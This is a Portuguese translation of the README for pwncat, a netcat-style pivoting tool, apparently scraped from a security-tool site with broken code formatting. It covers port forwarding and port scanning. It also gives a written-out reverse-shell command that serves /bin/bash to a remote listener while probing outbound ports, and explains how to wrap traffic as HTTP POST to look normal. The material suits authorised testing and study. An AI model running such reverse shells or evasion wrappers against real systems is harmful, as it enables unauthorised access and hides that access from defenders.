Nível de logging e redirecionamento

Se desejar, pode iniciar um listener no modo de logging TRACE completo para entender o que está acontecendo ou simplesmente para depuração. As mensagens de log são coloridas dependendo de sua gravidade. As cores são desativadas automaticamente se stderr não for um pty, ex.: se estiver redirecionando para um arquivo. Você também pode desativar manualmente o logging colorido para saídas de terminal através da opção --color.```bash pwncat -vvvv -l 4444

root@kitploit:~
Você verá (entre toda a confusão) uma mensagem TRACE:```bash
2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744'
2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744
2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining)
2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output

Assim que você viu isso no listener, pode emitir comandos para o cliente. Todas as mensagens de depuração também não são necessárias, então você pode seguramente Ctrl+c para encerrar seu servidor e iniciá-lo novamente no modo silencioso:```bash pwncat -l 4444

root@kitploit:~
Agora aguarde no máximo alguns segundos, dependendo do intervalo em que o cliente retorna para você e voilà, sua sessão está novamente sem logs.

Não ter nenhuma mensagem informativa também não é desejável às vezes. Você pode querer saber o que está acontecendo nos bastidores, não é? Termine seu servidor com segurança <kbd>Ctrl</kbd>+<kbd>c</kbd> e redirecione as notificações para um arquivo de log:```bash
pwncat -l -vvv 4444 2> comm.txt

Agora tudo o que você verá na sessão do terminal são as entradas e saídas reais dos comandos. Se quiser ver o que está acontecendo nos bastidores, abra uma segunda janela do terminal e acompanhe o arquivo comm.txt:```bash

View communication info

tail -fn50 comm.txt

2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744' 2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744 2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining) 2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output

root@kitploit:~
#### Informações de Socket

Outra funcionalidade útil é exibir as configurações atuais de socket e rede.
Use a opção `--info` com `socket`, `ipv4`, `ipv6`, `tcp` ou `all` para exibir todas as configurações disponíveis.

**Nota:** Para visualizar estas configurações, você deve estar pelo menos no nível de log `INFO` (`-vv`).

Um exemplo de saída no modo IPv4/TCP sem configurações personalizadas é mostrado abaixo:```
INFO: [bind-sock] Sock: SO_DEBUG: 0
INFO: [bind-sock] Sock: SO_ACCEPTCONN: 1
INFO: [bind-sock] Sock: SO_REUSEADDR: 1
INFO: [bind-sock] Sock: SO_KEEPALIVE: 0
INFO: [bind-sock] Sock: SO_DONTROUTE: 0
INFO: [bind-sock] Sock: SO_BROADCAST: 0
INFO: [bind-sock] Sock: SO_LINGER: 0
INFO: [bind-sock] Sock: SO_OOBINLINE: 0
INFO: [bind-sock] Sock: SO_REUSEPORT: 0
INFO: [bind-sock] Sock: SO_SNDBUF: 16384
INFO: [bind-sock] Sock: SO_RCVBUF: 131072
INFO: [bind-sock] Sock: SO_SNDLOWAT: 1
INFO: [bind-sock] Sock: SO_RCVLOWAT: 1
INFO: [bind-sock] Sock: SO_SNDTIMEO: 0
INFO: [bind-sock] Sock: SO_RCVTIMEO: 0
INFO: [bind-sock] Sock: SO_ERROR: 0
INFO: [bind-sock] Sock: SO_TYPE: 1
INFO: [bind-sock] Sock: SO_PASSCRED: 0
INFO: [bind-sock] Sock: SO_PEERCRED: 0
INFO: [bind-sock] Sock: SO_BINDTODEVICE: 0
INFO: [bind-sock] Sock: SO_PRIORITY: 0
INFO: [bind-sock] Sock: SO_MARK: 0
INFO: [bind-sock] IPv4: IP_OPTIONS: 0
INFO: [bind-sock] IPv4: IP_HDRINCL: 0
INFO: [bind-sock] IPv4: IP_TOS: 0
INFO: [bind-sock] IPv4: IP_TTL: 64
INFO: [bind-sock] IPv4: IP_RECVOPTS: 0
INFO: [bind-sock] IPv4: IP_RECVRETOPTS: 0
INFO: [bind-sock] IPv4: IP_RETOPTS: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_IF: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_TTL: 1
INFO: [bind-sock] IPv4: IP_MULTICAST_LOOP: 1
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_TTL: 0
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_LOOP: 0
INFO: [bind-sock] IPv4: IP_MAX_MEMBERSHIPS: 0
INFO: [bind-sock] IPv4: IP_TRANSPARENT: 0
INFO: [bind-sock] TCP: TCP_NODELAY: 0
INFO: [bind-sock] TCP: TCP_MAXSEG: 536
INFO: [bind-sock] TCP: TCP_CORK: 0
INFO: [bind-sock] TCP: TCP_KEEPIDLE: 7200
INFO: [bind-sock] TCP: TCP_KEEPINTVL: 75
INFO: [bind-sock] TCP: TCP_KEEPCNT: 9
INFO: [bind-sock] TCP: TCP_SYNCNT: 6
INFO: [bind-sock] TCP: TCP_LINGER2: 60
INFO: [bind-sock] TCP: TCP_DEFER_ACCEPT: 0
INFO: [bind-sock] TCP: TCP_WINDOW_CLAMP: 0
INFO: [bind-sock] TCP: TCP_INFO: 10
INFO: [bind-sock] TCP: TCP_QUICKACK: 1
INFO: [bind-sock] TCP: TCP_FASTOPEN: 0

Mágica de encaminhamento de porta

Encaminhamento de porta TCP local

Cenário

  1. Alice pode ser alcançada a partir do exterior (TCP/UDP)
  2. Bob só pode ser alcançado a partir da máquina de Alice``` | | Outside | DMZ | private subnet | | | | +-----------------+ TCP +-----------------+ TCP +-----------------+ | The cat | -----|----> | Alice | -----|----> | Bob | | | | | pwncat | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat 72.0.0.1 3306 | pwncat \ | | -L 72.0.0.1:3306 \ | | 10.0.0.1 3306 |
root@kitploit:~
#### Encaminhamento de porta UDP local

**Cenário**
1. Alice pode ser alcançada do exterior (mas apenas via UDP)
2. Bob só pode ser alcançado a partir da máquina de Alice```
                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     UDP     +-----------------+     TCP     +-----------------+
     | The cat         | -----|----> | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat -L       |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -u 72.0.0.1 3306  |      pwncat -u \              |
                              |        -L 72.0.0.1:3306 \     |
                              |        10.0.0.1 3306          |

Encaminhamento de porta TCP remoto

Cenário

  1. Alice não pode ser alcançada do exterior
  2. Alice tem permissão para se conectar ao exterior (TCP/UDP)
  3. Bob só pode ser alcançado a partir da máquina de Alice``` | | Outside | DMZ | private subnet | | | | +-----------------+ TCP +-----------------+ TCP +-----------------+ | The cat | <----|----- | Alice | -----|----> | Bob | | | | | pwncat | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat -l 4444 | pwncat --reconn \ | | -R 56.0.0.1:4444 \ | | 10.0.0.1 3306 |
root@kitploit:~
#### Encaminhamento de porta UDP remoto

**Cenário**
1. Alice não pode ser alcançada de fora
2. Alice tem permissão para se conectar ao exterior (UDP: apenas DNS)
3. Bob só pode ser alcançado a partir da máquina de Alice```
                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     UDP     +-----------------+     TCP     +-----------------+
     | The cat         | <----|----- | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat          |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -u -l 53          |      pwncat -u --reconn \     |
                              |        -R 56.0.0.1:4444 \     |
                              |        10.0.0.1 3306          |

Exploração de portas de saída

Se você não tem ideia de quais portas de saída são permitidas a partir da máquina de destino, pode instruir o cliente (por exemplo: no caso de um shell reverso) a sondar portas de saída indefinidamente.```bash

Reverse shell on target (the client)

--exec # The command shell the client should provide

--reconn # Instruct it to reconnect endlessly

--reconn-wait # Reconnect every 0.1 seconds

--reconn-robin # Use these ports to probe for outbount connections

pwncat --exec /bin/bash --reconn --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53

root@kitploit:~
Assim que o cliente estiver em execução, use sockets brutos para verificar o tráfego de entrada ou use
algo como Wireshark ou tcpdump para descobrir de onde o cliente consegue se conectar de volta a você.

Se você encontrou uma ou mais portas para as quais o cliente consegue se conectar,
simplesmente inicie seu listener localmente e aguarde que ele se conecte de volta.```bash
pwncat -l <ip> <port>

Se o cliente se conectar a você, você terá uma shell reversa funcional. Se você parar seu servidor de escuta local acidentalmente ou de propósito, o cliente irá sondar as portas novamente até se conectar com sucesso. Para encerrar o cliente da shell reversa, você pode usar --safe-word (ao iniciar o cliente).

Se nada disso funcionar, você pode adicionar outras medidas, como usar UDP ou até encapsular seus pacotes em protocolos de nível superior, como HTTP ou outros. Veja PSE ou exemplos abaixo sobre como transformar seu tráfego.

Pwncat Scripting Engine (PSE)

pwncat oferece um mecanismo de script baseado em Python para injetar seu código personalizado antes de enviar e após receber dados.

Como funciona

Você simplesmente precisará fornecer um arquivo Python com a seguinte função de ponto de entrada:```python def transform(data, pse): # Example to reverse a string return data[::-1]

root@kitploit:~
Ambos, o nome da função deve ser `transform` e os argumentos analisados devem ser nomeados `data` e `pse`.
Além disso, você pode adicionar quanto código quiser. Cada instância do `pwncat` pode aceitar dois scripts:

1. `--script-send`: o script será aplicado antes do envio
2. `--script-recv`: o script será aplicado após o recebimento

Veja [aqui](https://github.com/cytopia/pwncat/blob/HEAD/pse) para a API e mais detalhes


#### Exemplo 1: Criptografia assimétrica construída por conta própria

> PSE: [asym-enc](https://github.com/cytopia/pwncat/blob/HEAD/pse/asym-enc) código-fonte

Isso criptografará seu tráfego de forma assimétrica. É apenas uma implementação muito básica de [ROT13](https://en.wikipedia.org/wiki/ROT13) com diferentes comprimentos de deslocamento em ambos os lados para *emular* assimetria. Você poderia fazer o mesmo e implementar criptografia assimétrica baseada em GPG para o PSE.```bash
# server
pwncat -vvvv -l localhost 4444 \
  --script-send pse/asym-enc/pse-asym_enc-server_send.py \
  --script-recv pse/asym-enc/pse-asym_enc-server_recv.py
root@kitploit:~
# client
pwncat -vvvv localhost 4444 \
  --script-send pse/asym-enc/pse-asym_enc-client_send.py \
  --script-recv pse/asym-enc/pse-asym_enc-client_recv.py

Exemplo 2: Wrapper HTTP POST autoconstruído

PSE: http-post código fonte

Isso encapsulará todo o tráfego em uma requisição HTTP POST válida, fazendo com que pareça tráfego HTTP normal.```bash

server

pwncat -vvvv -l localhost 4444
--script-send pse/http-post/pse-http_post-pack.py
--script-recv pse/http-post/pse-http_post-unpack.py

root@kitploit:~
```bash
# client
pwncat -vvvv localhost 4444 \
  --script-send pse/http-post/pse-http_post-pack.py \
  --script-recv pse/http-post/pse-http_post-unpack.py

Varredura de portas

TCP```bash

$ sudo netstat -tlpn Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:4444 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN tcp6 0 0 ::1:631 :::* LISTEN tcp6 0 0 ::1:25 :::* LISTEN tcp6 0 0 ::1:4444 :::* LISTEN tcp6 0 0 :::1053 :::* LISTEN tcp6 0 0 :::902 :::* LISTEN

root@kitploit:~
#### UDP
As seguintes portas UDP estão expostas:```bash
$ sudo netstat -ulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address
udp        0      0 0.0.0.0:631             0.0.0.0:*
udp        0      0 0.0.0.0:5353            0.0.0.0:*
udp        0      0 0.0.0.0:39856           0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp6       0      0 :::1053                 :::*
udp6       0      0 :::5353                 :::*
udp6       0      0 :::57728                :::*
nmap```bash

$ time sudo nmap -T5 localhost --version-intensity 0 -p- -sU Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-24 17:03 CEST Warning: 127.0.0.1 giving up on port because retransmission cap hit (2). Nmap scan report for localhost (127.0.0.1) Host is up (0.000035s latency). Other addresses for localhost (not scanned): ::1 Not shown: 65529 closed ports PORT STATE SERVICE 68/udp open|filtered dhcpc 631/udp open|filtered ipp 1053/udp open|filtered remote-as 5353/udp open|filtered zeroconf 39856/udp open|filtered unknown 40488/udp open|filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 179.15 seconds

real 2m52.446s user 0m0.844s sys 0m2.571s

root@kitploit:~
##### netcat```bash
$ time nc  -z localhost 1-65535  -u -4 -v
Connection to localhost 68 port [udp/bootpc] succeeded!
Connection to localhost 631 port [udp/ipp] succeeded!
Connection to localhost 1053 port [udp/*] succeeded!
Connection to localhost 5353 port [udp/mdns] succeeded!
Connection to localhost 39856 port [udp/*] succeeded!

real    0m18.734s
user    0m1.004s
sys     0m2.634s
pwncat```bash

$ time pwncat -z localhost 1-65535 -u -4 Scanning 65535 ports [+] 68/UDP open (IPv4) [+] 631/UDP open (IPv4) [+] 1053/UDP open (IPv4) [+] 5353/UDP open (IPv4) [+] 39856/UDP open (IPv4)

real 0m7.309s user 0m6.465s sys 0m4.794s

root@kitploit:~
## :information_source: FAQ

**Veja a FAQ completa aqui:** https://docs.pwncat.org/en/latest/faq.html

**Q**: O `pwncat` é compatível com `netcat`?

**A**: Sim, é totalmente compatível na forma como se comporta nos modos connect, listen e zero-i/o.
Você pode até misturar `pwncat` com `netcat`, `ncat` ou ferramentas similares.


**Q**: Funciona no X?

**A**: No seu estado atual, funciona com Python 2, 3, pypy2 e pypy3 e é totalmente testado no Linux e MacOS. O suporte para Windows está disponível, mas é considerado experimental (veja [testes de integração](https://github.com/cytopia/pwncat/actions)).


**Q**: Encontrei um bug / Tenho que sugerir uma nova funcionalidade! O que posso fazer?

**A**: Para relatórios de bugs ou melhorias, por favor abra uma issue [aqui](https://github.com/cytopia/pwncat/issues).


**Q**: Como posso apoiar este projeto?

**A**: Obrigado por perguntar! Primeiro, dê uma estrela neste projeto para me dar algum feedback e veja [CONTRIBUTING.md](https://github.com/cytopia/pwncat/blob/HEAD/CONTRIBUTING.md) para detalhes.


## :sunrise: Artwork

<table>
 <thead>
  <tr>
   <th>Tipo</th>
   <th>Artista</th>
   <th>Imagem</th>
   <th>Licença</th>
  </tr>
 </thead>
 <tbody>
  <tr>
   <td>Logo</td>
   <td><a href="https://github.com/maifz">maifz</a></td>
   <td><a href="art/logo.png"><img src="https://assets.kitploit.com/production/public/readmes/5318/a1b54927c2019b933f6e456079c612aff45d525e69c6058199d8fe049916146f.png" style="height:128px;" height="128" alt="logo pwncat" title="logo pwncat" /></a></td>
   <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://assets.kitploit.com/production/public/readmes/5318/acde67df4b37d9df101d6555c669c258cea69750bc84ae2051ebec0970f706c8.png" /></a></td>
  </tr>
  <tr>
   <td>Banner 1</td>
   <td><a href="https://github.com/maifz">maifz</a></td>
   <td><a href="art/banner-1.png"><img src="https://assets.kitploit.com/production/public/readmes/5318/51461eddf94bb0ed53b8d28478113978cf87ea31e645b2afc8e1783053e8bafc.png" style="height:128px;" height="128" alt="banner pwncat" title="banner pwncat"  /></a></td>
   <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://assets.kitploit.com/production/public/readmes/5318/acde67df4b37d9df101d6555c669c258cea69750bc84ae2051ebec0970f706c8.png" /></a></td>
  </tr>
  <tr>
   <td>Banner 2</td>
   <td><a href="https://github.com/maifz">maifz</a></td>
   <td><a href="art/banner-2.png"><img src="https://assets.kitploit.com/production/public/readmes/5318/1deb2e118b970b2b974f682e9ef087bbc5cc9c18674b5d4cbbdf967885d119c9.png" style="height:128px;" height="128" alt="banner pwncat" title="banner pwncat" /></a></td>
   <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://assets.kitploit.com/production/public/readmes/5318/acde67df4b37d9df101d6555c669c258cea69750bc84ae2051ebec0970f706c8.png" /></a></td>
  </tr>
 </tbody>
</table>


## :lock: [cytopia](https://github.com/cytopia) ferramentas de segurança

Abaixo está uma lista de ferramentas de segurança e documentação que mantenho.

| Nome                 | Categoria             | Linguagem   | Descrição |
|----------------------|----------------------|------------|-------------|
| **[offsec]**         | Documentação        | Markdown   | Checklist de segurança ofensiva, ferramentas e exemplos |
| **[header-fuzz]**    | Enumeração          | Bash       | Fuzz de cabeçalhos HTTP |
| **[smtp-user-enum]** | Enumeração          | Python 2+3 | Enumerador de usuários SMTP |
| **[urlbuster]**      | Enumeração          | Python 2+3 | Fuzzer mutável de diretórios web |
| **[pwncat]**         | Pivoteamento             | Python 2+3 | netcat multi-plataforma turbinado |
| **[kusanagi]**       | Gerador de Payload    | Python 3   | Gerador de payload de shell bind e reverse |
| **[badchars]**       | Engenharia Reversa  | Python 2+3 | Gerador de badchars |
| **[fuzza]**          | Engenharia Reversa  | Python 2+3 | Ferramenta de fuzzing TCP |
| **[docker-dvwa]**    | Playground           | PHP        | DVWA com desafios de escalonamento de privilégio local |

[offsec]: https://github.com/cytopia/offsec
[header-fuzz]: https://github.com/cytopia/header-fuzz
[smtp-user-enum]: https://github.com/cytopia/smtp-user-enum
[urlbuster]: https://github.com/cytopia/urlbuster
[pwncat]: https://github.com/cytopia/pwncat
[kusanagi]: https://github.com/cytopia/kusanagi
[badchars]: https://github.com/cytopia/badchars
[fuzza]: https://github.com/cytopia/fuzza
[docker-dvwa]: https://github.com/cytopia/docker-dvwa


## :octocat: Contribuindo

Veja as **[Diretrizes de contribuição](https://github.com/cytopia/pwncat/blob/HEAD/CONTRIBUTING.md)** para ajudar a melhorar este projeto.


## :exclamation: Aviso Legal

Esta ferramenta pode ser usada apenas para fins legais. Os usuários assumem total responsabilidade por quaisquer ações realizadas com esta ferramenta. O autor não aceita nenhuma responsabilidade por danos causados por esta ferramenta. Se estes termos não forem aceitáveis para você, então não use esta ferramenta.


## :page_facing_up: Licença

**[MIT License](https://github.com/cytopia/pwncat/blob/HEAD/LICENSE.txt)**

Copyright (c) 2020 **[cytopia](https://github.com/cytopia)**